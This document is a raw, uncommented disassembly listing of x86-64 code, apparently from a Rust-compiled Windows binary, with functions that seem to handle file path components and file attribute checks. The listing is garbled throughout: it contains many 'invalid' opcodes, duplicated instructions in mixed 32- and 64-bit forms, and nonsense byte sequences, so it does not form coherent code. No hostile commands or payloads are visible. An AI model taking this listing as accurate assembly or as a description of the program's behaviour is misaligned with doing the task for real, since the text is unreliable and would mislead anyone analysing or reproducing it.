mov rcx, r13
mov ecx, ebp
mov rdx, rdi
cli
call fcn.140084850
add eax, dword [rax]
add byte [rax + 0x750ad87d], al
cmp byte [rbp - 0x28], 0xa
jne 0x1400844a0
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x38]
invalid
cmp byte [rbp - 0x28], 0xa
jne 0x1400844a0
lea rcx, [rbp + 0xc0]
add byte [rax], al
lea rdx, [rbp + 0x38]
call fcn.140084850
and byte [rbx], al
add byte [rax], al
and byte [rbx], al
add byte [rax], al
cmp byte [rbp + 0xc0], 0xa
add byte [rax], al
add byte [rdx], cl
je case.0x1400836ee.108
add dword [rax], eax
add byte [rax - 0x75], cl
mov edi, dword [rbp + 0xb8]
add byte [rax], al
invalid
mov rdi, qword [rbp + 0xb8]
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
mov rcx, rdi
mov rdx, rsi
mov edx, esi
call fcn.1400841f0
cld
invalid
mov qword [rbp + 0x78], rax
test rax, rax
je case.0x1400836ee.108
add byte [rax - 0x77], cl
ret
mov rbx, rax
mov ebx, eax
and eax, 3
lea rcx, [0x1400f0a14]
or eax, 0x6c4ab
stosd dword [rdi], eax
invalid
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
movzx eax, byte [rbx + 0x10]
jmp 0x14008458a
adc cl, byte [rdi]
movzx eax, byte [rbx + 0xf]
jmp 0x14008458a
mov dh, 0x43
por mm1, qword [rax + rcx*2]
mov ecx, ebx
invalid
mov rcx, rbx
invalid
shr rcx, 0x20
call fcn.14007ca80
test bh, bh
invalid
test bh, bh
inc dword [rax + rax*8 - 0x72b7c78c]
invalid
invalid
invalid
test al, al
je case.0x1400836ee.88
lea rcx, [rbp + 0xc0]
add byte [rax], al
mov rdx, rdi
mov r8, rsi
call fcn.140084cf0
cmp dword [rbp + 0xc0], 2
add byte [rax], al
add byte [rdx], al
push rax
invalid
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add dh, byte [rbp + 0x7c]
jne case.0x14007cad1.805
jne case.0x14007cad1.805
jl 0x1400845f2
mov rax, qword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
lea rcx, [rbp + 0x40]
lea ecx, [rbp + 0x40]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x40], rax
mov byte [rbp + 0x38], 1
mov byte [rbp + 0x38], 1
cmp byte [r9], r8b
call fcn.140079f00
jmp case.0x140083b4a.36
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
js 0x1400845b3
lea rcx, [rbp + 0x78]
call fcn.140079f00
pop rcx
invalid
dec dword [rax - 0x77]
stc
xor dword [rcx - 1], ebx
dec dword [rax - 0x77]
stc
invalid
mov rdx, rsi
mov edx, esi
bnd call fcn.140084ba0
call fcn.140084ba0
test rax, rax
test eax, eax
ror byte [rdi], 0x84
je case.0x14008432b.16
stosd dword [rdi], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
shr eax, 0xd5
mov rcx, rax
mov ecx, eax
call fcn.1400842c0
cld
invalid
mov rbx, rax
test rax, rax
test eax, eax
ret
test eax, eax
sal byte [rbp + 0x61], 0x48
mov ecx, edi
stc
jne case.0x140083b4a.36
invalid
mov rcx, rdi
stc
mov rdx, rsi
mov edx, esi
bnd call fcn.1400841f0
call fcn.1400841f0
sti
invalid
dec dword [rax - 0x77]
test eax, eax
rol byte [rax], 0
mov qword [rbp + 0xc0], rax
rol byte [rax], 0
add byte [rax - 0x7b], cl
test rax, rax
je case.0x1400836ee.108
invalid
sal byte [rax + rcx*2 + 0x48], 0x89
mov rbx, rax
mov rbx, rax
mov ebx, eax
ret
mov rcx, rdi
mov rdx, rsi
mov edx, esi
mov edx, esi
bnd call fcn.140084e30
call fcn.140084e30
or byte [rax], al
add byte [rax + rax*8 - 0x72b7c78c], al
sal byte [rax + rdi + 0x48], 0x8d
test al, al
sal byte [rax + rdi + 0x48], 0x8d
je case.0x140083b4a.36
cmp byte [rax - 0x73], cl
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
invalid
add byte [rax], al
add bl, ch
sub byte [rbx + 0x10085], cl
invalid
test dword [rax], eax
add byte [rcx], al
invalid
add byte [rax], al
jmp case.0x140083b4a.35
mov eax, dword [rbp + 0x100]
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rcx + 0x400], ch
test eax, 0x400
add al, 0
add byte [rax], al
add byte [rdi], cl
sete cl
test dword [rbp + 0x104], 0x20000000
add al, 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
xchg esp, eax
sal edi, 0x85
add al, 1
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
invalid
and byte [rdi], cl
xchg esp, eax
sete dl
or dl, cl
shr al, 4
call 0x1b4d8ca4c
invalid
ret 0xca08
call 0x1b4d8ca4c
or ecx, dword [rax - 0x73]
invalid
invalid
add al, 0x84
sal byte [rbx + rcx + 0x48], 1
lea rcx, [rbp + 0x78]
lea ecx, [rbp + 0x78]
js case.0x1400836ee.104
call fcn.140079f00
scasb al, byte [rdi]
pop rax
invalid
push qword [rcx]
fisttp dword [rax - 0x77]
mov rax, rbx
invalid
invalid
xor ebx, ebx
mov rax, rbx
add rsp, 0x1b8
add esp, 0x1b8
add esp, 0x1b8
invalid
add dword [rax], eax
add byte [rbx + 0x5f], bl
pop rdi
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
mov rax, rbx
fmul dword [rax - 0x3f]
shr rax, 0x20
call 0x16900c995
cmp eax, 0x28
sub byte [rdi + 0x20], dh
ja case.0x14007cad1.823
lea rcx, [0x1400f0a24]
or eax, 0x6c3a6
ret
invalid
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
or dword [rax + 1], 0x31e0ffc8
add rax, rcx
add eax, ecx
jmp rax
xor eax, eax
shr cl, 0xfc
jmp 0x14008458a
cld
invalid
invalid
lea rbx, [0x1400e89e0]
sbb eax, 0x6434b
invalid
invalid
jmp case.0x140083b4a.36
mov al, 0x29
jmp 0x14008458a
in al, dx
invalid
invalid
invalid
sub ecx, ebp
in al, dx
invalid
invalid
push qword [rax - 0x11a16ff]
mov al, 1
jmp 0x14008458a
in eax, 0xfe
invalid
invalid
add ecx, ebp
in eax, 0xfe
invalid
invalid
mov al, 2
jmp 0x14008458a
fdivp st(6)
invalid
invalid
add ch, cl
fdivp st(6)
invalid
mov al, 3
add ebp, ecx
jmp 0x14008458a
xlatb
invalid
invalid
mov al, 4
jmp 0x14008458a
sar dh, 1
invalid
invalid
add al, 0xe9
sar dh, 1
invalid
invalid
mov al, 5
jmp 0x14008458a
leave
invalid
invalid
invalid
add eax, 0xfffec9e9
push qword [rax - 0x13d16fa]
mov al, 6
invalid
invalid
invalid
leave
invalid
invalid
mov al, 6
jmp 0x14008458a
ret 0xfffe
invalid
ret 0xfffe
invalid
invalid
mov al, 7
jmp 0x14008458a
invalid
invalid
invalid
invalid
mov ebx, 0xb0fffffe
or cl, ch
invalid
invalid
mov al, 8
jmp 0x14008458a
mov ah, 0xfe
invalid
invalid
mov ah, 0xfe
invalid
mov al, 9
jmp 0x14008458a
lodsd eax, dword [rsi]
invalid
invalid
invalid
lodsd eax, dword [rsi]
invalid
invalid
mov al, 0xa
jmp 0x14008458a
cmpsb byte [rsi], byte [rdi]
invalid
invalid
invalid
cmpsb byte [rsi], byte [rdi]
invalid
invalid
mov al, 0xb
jmp 0x14008458a
lahf
invalid
invalid
invalid
lahf
invalid
invalid
mov al, 0xc
jmp 0x14008458a
cwde
invalid
invalid
invalid
cwde
invalid
invalid
mov al, 0xd
jmp 0x14008458a
xchg ecx, eax
invalid
invalid
invalid
xchg ecx, eax
invalid
invalid
mov al, 0xe
jmp 0x14008458a
mov bh, dh
invalid
invalid
mov bh, dh
invalid
mov al, 0xf
jmp 0x14008458a
cmp esi, 0xffffffff
invalid
psubsw mm0, qword [rbx - 0x4f000002]
adc cl, ch
invalid
cmp esi, 0xffffffff
push qword [rax - 0x18316f0]
mov al, 0x10
invalid
jl case.0x140083b4a.62
invalid
mov al, 0x10
jmp 0x14008458a
jl case.0x140083b4a.62
invalid
invalid
jl case.0x140083b4a.62
invalid
mov al, 0x11
jmp 0x14008458a
jne case.0x140083b4a.63
invalid
invalid
jne case.0x140083b4a.63
invalid
mov al, 0x12
jmp 0x14008458a
outsb dx, byte [rsi]
invalid
invalid
invalid
outsb dx, byte [rsi]
invalid
invalid
push qword [rax - 0x19816ed]
mov al, 0x13
adc ebp, ecx
jmp 0x14008458a
invalid
invalid
push qword [rax - 0x19f16ec]
mov al, 0x14
jmp 0x14008458a
invalid
invalid
invalid
invalid
invalid
invalid
pop rcx
invalid
invalid
mov al, 0x16
jmp 0x14008458a
push rdx
invalid
invalid
invalid
push rdx
invalid
invalid
push qword [rax - 0x1b416e9]
invalid
invalid
invalid
sbb cl, ch
invalid
invalid
invalid
mov al, 0x1a
jmp 0x14008458a
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1ec16e1]
invalid
invalid
push qword [rax - 0x1fa16df]
invalid
invalid
invalid
invalid
invalid
mov al, 0x26
jmp 0x14008458a
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1400a9cf0
ud2
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0xc0]
call fcn.140079f00
nop
add rsp, 0x28
pop rbx
pop rdi
add byte [rax - 0x73], cl
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x10
push rbp
push r15
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
invalid
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x78]
invalid
lea rcx, [rbp + 0x78]
call fcn.140079f00
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
retf
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
mov rsi, rcx
movzx r13d, byte [rdx + 0x38]
cmp r13b, 3
je 0x140084a79
add al, 2
add byte [rax], al
add al, 2
add byte [rax], al
mov rdi, rdx
movzx eax, byte [rdx + 0x39]
cmp dword [rbx + rax], edi
cmp dword [rbx + rax], edi
je 0x140084a79
cmp r13b, al
cmp ch, al
ja 0x140084a79
add byte [rax], al
lea r15, [rsp + 0x71]
cmp byte [rdi + 0x3a], 0
cmp al, byte [rax]
jl 0x1400848b5
jno 0x140084813
jg 0x1400848cf
cmp al, byte [rax]
add byte [rdi], cl
mov dh, 0x6f
adc byte [rdi + rcx - 0x4a], al
in eax, 0x48
movzx ebp, byte [rdi + 0x10]
movzx r12d, bpl
mov rcx, qword [rdi]
mov ecx, dword [rdi]
mov qword [rsp + 0x28], rcx
mov rbx, qword [rdi + 8]
je 0x140084943
lea r14, [rsp + 0x68]
jmp 0x1400848cf
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rdi + 0x39], 1
cmp dword [r9], r8d
mov al, 1
cmp r13b, al
ja 0x140084a79
stosb byte [rdi], al
add dword [rax], eax
invalid
add dword [rcx + 0x38], eax
invalid
stosb byte [rdi], al
add dword [rax], eax
add byte [rdx + rax], bh
cmp al, 2
jne 0x140084a68
mov rcx, rdi
call fcn.14007eea0
cmp rbx, rax
jbe 0x1400848c0
mov rcx, r14
int1
mov rdx, rdi
call fcn.14007f020
mov rcx, rbx
movzx eax, byte [rsp + 0x70]
movups xmm0, xmmword [r15]
invalid
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
push rdi
and byte [rdi], cl
sub dword [rsp + 0x30], eax
invalid
push rdi
and byte [rdi], cl
sub dword [rsp + 0x30], eax
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x50], xmm2
push rsp
and al, 0x50
push rsp
and al, 0x50
mov rdx, qword [r15 + 0x2f]
mov qword [rsp + 0x5f], rdx
mov dword [rsp + 0x5f], edx
sub rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
jb 0x140084b5f
add al, byte [rax]
add byte [rax - 0x77], cl
or byte [r10 + r9], r15b
or byte [rdx + rcx], bh
mov qword [rdi + 8], rcx
cmp al, 0xa
or byte [rdx + rcx], bh
jne 0x140084ac1
mov al, 2
mov rbx, rcx
add cl, byte [rax - 0x77]
retf
cmp r13b, al
jbe 0x1400848cf
add dword ss:[rax], eax
add byte [rcx - 0x77], cl
fsubp st(3)
jmp 0x14008495f
mov r14, rbx
jmp 0x14008495f
add dh, al
mov byte [rdi + 0x39], 1
cmp dword [r9], r8d
add dword [rax - 0x3ac7beff], esi
mov al, 1
cmp r13b, al
ja 0x140084a79
xchg dword [rdx], ebx
add dword [rax], eax
add byte [rcx + rax], bh
cmp al, 1
je 0x1400849e0
movzx eax, al
cmp eax, 2
jne 0x140084a6f
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
stc
call fcn.14007eea0
cmp r14, rax
jbe 0x140084950
movsd dword [rdi], dword [rsi]
invalid
lea rcx, [rsp + 0x68]
mov rdx, rdi
call fcn.14007f020
xchg edi, eax
cmpsb byte [rsi], byte [rdi]
invalid
dec dword [rcx + rcx*4 - 0xd]
movzx eax, byte [rsp + 0x70]
jo 0x1400849d3
movups xmm0, xmmword [rdi]
xchg edi, eax
cmpsb byte [rsi], byte [rdi]
invalid
jo 0x1400849d3
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
push rdi
invalid
push rdi
and byte [rdi], cl
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x50], xmm2
mov rcx, qword [r15 + 0x2f]
mov qword [rsp + 0x5f], rcx
sub rbx, qword [rsp + 0x68]
pop rsp
and al, 0x68
pop rsp
and al, 0x68
jb case.0x140075b85.1687
add byte [rax], al
mov qword [rdi + 8], rbx
cmp al, 0xa
jne 0x140084ac1
mov al, 2
mov r14, rbx
mov esi, ebx
mov esi, ebx
jmp 0x140084956
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov byte [rdi + 0x39], 0
xor eax, eax
cmp r12d, 3
cmp esp, 3
cmp esp, 3
jb 0x140084956
invalid
cmp r12d, 5
je 0x140084956
invalid
invalid
invalid
cmp r12d, 6
jne case.0x140083be3.93
add byte [rax], al
invalid
add byte [rbp - 0x7b], cl
div byte [rbp + rbp + 0x48]
mov eax, dword [rsp + 0x28]
test r14, r14
je 0x140084a36
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rax]
or byte [rcx - 0x7d], cl
inc byte [rcx]
cmp r14, 1
je case.0x140083fd6.60
cmp cl, 0x2e
jne case.0x140083fd6.60
jne case.0x140083fd6.60
mov rax, qword [rsp + 0x28]
and al, 0x28
movzx eax, byte [rax + 1]
cmp eax, 0x2f
je 0x140084a55
cmp eax, 0x5c
clc
pop rsp
je 0x140084a55
xor eax, eax
jmp 0x140084956
and bh, bh
invalid
invalid
and bh, bh
invalid
invalid
inc dword [rbp + 0x31]
div byte [rcx]
xor r14d, r14d
xor eax, eax
invalid
shr cl, 0x16
invalid
jmp 0x140084956
xor eax, eax
cmp r14, 1
jne 0x140084956
jne 0x140084956
jne 0x140084956
add edi, edi
invalid
sub rbx, 1
sub ebx, 1
add dword [rdi], ecx
invalid
jb 0x140084b83
add byte [rax], al
mov qword [rdi + 8], rbx
mov byte [rsi], 7
jmp 0x140084a7c
invalid
movzx eax, al
rol byte [rbp + 0x402175c0], 0x80
std
invalid
test eax, eax
jne 0x140084a90
cmp bpl, 6
jne 0x140084aa7
xor al, dh
cmp dword [r11], r8d
mov byte [rdi + 0x39], 3
mov byte [rsi], 0xa
add rsp, 0xa8
test al, 0
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rdi + 0x39], 0
sub rbx, 1
sub ebx, 1
jb 0x140084b70
rol byte [rax], cl
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
pop rdi
or dh, al
invalid
mov qword [rdi + 8], rbx
mov byte [rsi], 6
jmp 0x140084a7c
invalid
movabs al, byte [0x478b48e1ffc10148]
and byte [rax - 0x7d], cl
add rax, 4
jmp 0x140084b1f
jmp rcx
loope 0x140084b00
mov rax, qword [rdi + 0x20]
mov eax, dword [rdi + 0x20]
add rax, 4
jmp 0x140084b1f
add al, 0xeb
pop rsi
mov byte [rsi], al
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
push rsp
and al, 0x50
movups xmmword [rsi + 1], xmm0
movups xmmword [rsi + 0x11], xmm1
movups xmmword [rsi + 0x21], xmm2
mov rax, qword [rsp + 0x5f]
mov qword [rsi + 0x30], rax
xor bl, r13b
xchg ebx, eax
mov rax, qword [rdi + 0x20]
mov eax, dword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
test rcx, rcx
cmove rdx, rcx
add rax, rdx
add eax, edx
add eax, edx
add rax, 8
add eax, 8
ror byte [rax], 0xeb
sbb cl, byte [rax - 0x75]
mov eax, dword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
test rcx, rcx
cmove rdx, rcx
ror dword [rax + 1], 1
invalid
jmp 0x140084b1f
ror dword [rax + 1], 1
ror byte [rax - 0x7d], 1
rol byte [rdx], 0x48
add cl, byte [rax - 0x7b]
invalid
add eax, edx
add rax, 2
add cl, byte [rax - 0x7b]
ror byte [rdi], 0x84
invalid
test rax, rax
je 0x140084a75
mov byte [rdi + 0x39], 3
mov rax, qword [rdi + 0x30]
mov qword [rsi + 0x20], rax
mov dword [rsi + 0x20], eax
and byte [rdi], r9b
adc byte [rdi + 0x11], al
and byte [rdi], r9b
and byte [rdi], cl
adc byte [rdi + 0x11], al
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rsi + 0x11], xmm1
and qword [r15], r9
adc dword [rsi + 0x11], ecx
movups xmmword [rsi + 1], xmm0
mov byte [rsi], bpl
mov rax, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], rbx
jmp 0x140084a7c
sub byte [rax - 0x77], r9b
pop rsi
xor cl, ch
and edi, edi
invalid
mov rcx, rbx
mov rbx, r14
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
invalid
call fcn.1400a9df0
ud2
add byte [rax - 0x77], cl
invalid
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
call fcn.1400a9df0
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
invalid
add byte [rax - 0x77], cl
fnstenv [rcx]
shr al, cl
call fcn.1400a9df0
call fcn.1400a9df0
ud2
sub esp, 0xc8
mov rsi, rdx
mov esi, edx
mov rdi, rcx
lea rcx, [rsp + 0x28]
mov rdx, rdi
mov r8, rsi
call fcn.14007e360
dec dword [rdi]
mov dh, 0x54
and al, 0x28
dec dword [rdi]
mov dh, 0x54
and al, 0x28
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x48]
lea r8, [0x1400f0ae0]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
jmp r9
add rcx, 4
jmp 0x140084c1f
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
invalid
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
mov ecx, 6
jmp 0x140084c1f
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x140084c1f
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
jb case.0x140083c5d.388
test rdx, rdx
je 0x140084c48
pop rsp
sete al
or al, cl
jmp 0x140084c4a
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
and al, 0x38
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x80], rcx
mov byte [rsp + 0x8a], al
mov al, byte [rax]
add byte [rax], al
mov word [rsp + 0x88], 0x200
lea rcx, [rsp + 0x90]
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax], al
add cl, byte [rax - 0x73]
mov word [rax + rdx*4], fs
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
lea rdx, [rsp + 0x50]
and al, 0x50
call fcn.140084850
mov eax, 0xffffffb
sti
invalid
movzx ecx, byte [rsp + 0x90]
cmp cl, 0xa
stc
or dh, byte [rbp + 4]
invalid
mov dh, 0x8c
and al, 0x90
add byte [rax], al
add byte [rax + 0x4750af9], al
stc
or dh, byte [rbp + 4]
invalid
stc
or dh, byte [rbp + 4]
invalid
xor eax, eax
jmp case.0x14007e263.358
and byte [rax - 0x3fce053f], al
add cl, 0xfa
xor eax, eax
invalid
rol byte [rax - 0xb88fc07], 0xf
cmp cl, 3
ja 0x140084ca7
movzx ecx, cl
mov dh, 0xc9
leave
dec rcx
cmp rcx, 3
jae case.0x14007e263.358
lea rcx, [rsp + 0x50]
and al, 0x50
call fcn.14007ecb0
out 0x9f, eax
invalid
nop
add rsp, 0xc8
enter 0, 0
enter 0, 0
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
lea r8, str.library_std_srcpath.rs
lea eax, [0x1400e9028]
invalid
mov rdx, rsi
call fcn.1400a9cf0
push rax
add al, byte [rax]
bnd call fcn.1400a9cf0
push rax
add al, byte [rax]
add byte [rdi], cl
or ecx, esp
int3
int3
ud2
int3
int3
int3
int3
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0xc0
sub esp, 0xc0
sub esp, 0xc0
in al, dx
rol byte [rax], 0
add byte [rax - 0x73], cl
invalid
invalid
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x39], cl
cmp r14b, r15b
invalid
invalid
mov qword [rbp + 0x38], 0xfffffffffffffffe
invalid
dec dword [rcx + rcx*4 - 0x39]
mov rdi, r8
mov rbx, rdx
mov ebx, edx
mov rsi, rcx
lea rcx, [rbp - 0x60]
invalid
invalid
movabs al, byte [0x17ee8c93145]
xor r9d, r9d
leave
call case.0x14007e263.397
add byte [rbx + 0x7502a07d], al
mov r14, qword [rbp - 0x58]
mov r14, qword [rbp - 0x58]
cmp dword [rbp - 0x60], 2
jne case.0x14007e263.389
add dh, byte [rbp + 0x4d]
mov r14, qword [rbp - 0x58]
mov eax, r14d
mov eax, esi
and eax, 3
cmp rax, 2
clc
invalid
add ecx, dword [rax - 0x7d]
clc
add dh, byte [rdx + 0x3d]
jb case.0x14007e263.389
cmp eax, 2
jne case.0x14007e263.389
invalid
clc
add dh, byte [rbp + 0x38]
invalid
cmp byte [rcx + rcx*4 - 0x10], cl
mov rax, r14
shr rax, 0x20
shr eax, 0x20
cmp eax, 0x780
add byte [rdi], 0
add byte [rbp + 0x2a], dh
jne case.0x14007e263.389
jne case.0x14007e263.389
mov qword [rbp + 0x30], r14
jne 0x140084d7f
xor byte [rax - 0x73], cl
lea rcx, [rbp - 0x18]
mov rdx, rbx
fimul dword [rcx - 0x77]
clc
call 0x189e2d69f
call 0x189e2d69f
fimul dword [rcx - 0x77]
clc
mov eax, edi
mov r9d, 0x200000
and byte [rax], al
call case.0x14007e263.397
cmp al, 1
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0x7502e87d], al
cmp dword [rbp - 0x18], 2
invalid
cmp dword [rbp - 0x18], 2
jne 0x140084daa
invalid
jge 0x140084d4f
add dh, byte [rbp + 0x40]
lea rcx, [rbp - 0x10]
lea rcx, [rbp - 0x10]
invalid
invalid
call fcn.140079f00
jmp case.0x14007eb24.359
invalid
invalid
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 0x20]
mov qword [rsi + 0x40], rax
movups xmm0, xmmword [rbp - 0x60]
movups xmm0, xmmword [rbp - 0x60]
movups xmm0, xmmword [rbp - 0x60]
movabs al, byte [0xc055100fb04d100f]
movups xmm1, xmmword [rbp - 0x50]
adc byte [rbp - 0x50], cl
mov r8b, 0xf
mov al, 0xf
movups xmm2, xmmword [rbp - 0x40]
adc byte [rbp - 0x40], dl
movups xmm3, xmmword [rbp - 0x30]
adc byte [rbp - 0x30], bl
ror byte [rdi], 1
adc dword [rsi + 0x30], ebx
invalid
movups xmmword [rsi + 0x30], xmm3
xor byte [rdi], cl
adc dword [rsi + 0x20], edx
push rsi
invalid
movups xmmword [rsi + 0x20], xmm2
push rsi
and byte [rdi], cl
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], r9b
adc byte [rdi], cl
movups xmmword [rsi], xmm0
adc dword [rsi], eax
add rsp, 0xc0
add esp, 0xc0
invalid
rol byte [rax], 0
add byte [rbx + 0x5f], bl
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov eax, dword [rbp + 0x28]
sub byte [rbx + 0xa92c4d], cl
add al, 0
invalid
mov ecx, dword [rbp + 0x2c]
test eax, 0x400
add byte [rax + rax], al
invalid
sub al, 0xa9
add byte [rax + rax], al
add byte [rax], al
add byte [rdi + rdx - 0x77], dh
retf 0xe281
invalid
je 0x140084dce
invalid
mov edx, ecx
and edx, 0x20000000
loop case.0x140082303.330
add byte [rax], al
invalid
loop case.0x140082303.330
add byte [rax], al
add byte [rax], al
and byte [rbp + rcx + 0x4c], dh
invalid
add byte [rax], ah
je 0x140084dce
mov qword [rsi + 8], r14
mov dword [rsi + 8], esi
jbe 0x140084dcd
or byte [rax - 0x39], cl
invalid
mov qword [rsi], 2
add al, byte [rax]
add byte [rax], al
add bl, ch
jmp 0x140084d9c
invalid
movups xmm0, xmmword [rbp - 0x18]
adc byte [rbp - 0x18], al
call 0x138555de5
call 0x138555de5
movups xmm1, xmmword [rbp - 8]
clc
movups xmm2, xmmword [rbp + 8]
movups xmm3, xmmword [rbp + 0x18]
invalid
push rbp
or byte [rdi], cl
adc byte [rbp + 0x18], bl
invalid
pop rbp
sbb byte [rdi], cl
movups xmmword [rsi + 0x30], xmm3
adc dword [rsi + 0x30], ebx
pop rsi
xor byte [rdi], cl
adc dword [rsi + 0x20], edx
push rsi
invalid
movups xmmword [rsi + 0x20], xmm2
push rsi
and byte [rdi], cl
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
adc dword [rsi], eax
mov dword [rsi + 0x40], eax
mov dword [rsi + 0x44], ecx
mov dword [rsi + 0x44], ecx
lea rcx, [rbp + 0x30]
lea rcx, [rbp + 0x30]
lea ecx, [rbp + 0x30]
xor r8b, r13b
add al, 0x51
push rcx
call fcn.140079f00
push rcx
invalid
invalid
jmp 0x140084d9c
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push r14
push rsi
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
and byte [rax - 0x73], cl
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0x30]
lea ecx, [rbp + 0x30]
xor r8b, r13b
loope 0x140084e6d
call fcn.140079f00
invalid
call qword [rax + 0x20c48348]
nop
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop rbp
ret
int3
int3
sub esp, 0x68
push 0x48d08949
mov edx, ecx
mov r8, rdx
mov eax, edx
mov rdx, rcx
retf 0x8d48
lea rcx, [rsp + 0x20]
and al, 0x20
call fcn.140084cf0
invalid
cmp dword [rsp + 0x20], 2
jl 0x140084e6b
add dh, byte [rbp + 0x20]
jne 0x140084e6b
mov rax, qword [rsp + 0x28]
and al, 0x28
sub byte [rax - 0x73], cl
and al, 0x28
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
sub dh, al
and al, 0x20
add eax, ebp
pushfq
mov byte [rsp + 0x20], 1
and byte [rcx], al
call fcn.140079f00
xor eax, eax
add rsp, 0x68
invalid
invalid
ret
push rax
invalid
ror byte [rax - 0x7d], 0xc4
invalid
push 0x24448bc3
invalid
mov eax, dword [rsp + 0x60]
and al, 0x60
test eax, 0x400
add byte [rax + rax], al
add byte [rdi], cl
sete cl
test dword [rsp + 0x64], 0x20000000
sete cl
test dword [rsp + 0x64], 0x20000000
add byte [rax], al
and byte [rdi], cl
xchg esp, eax
ret 0xca08
sete dl
or dl, cl
and eax, 0x10
shr eax, 4
and al, dl
loopne 0x140084e97
add rsp, 0x68
ret
int3
int3
int3
push rsi
add byte [rax], al
add byte [rax], al
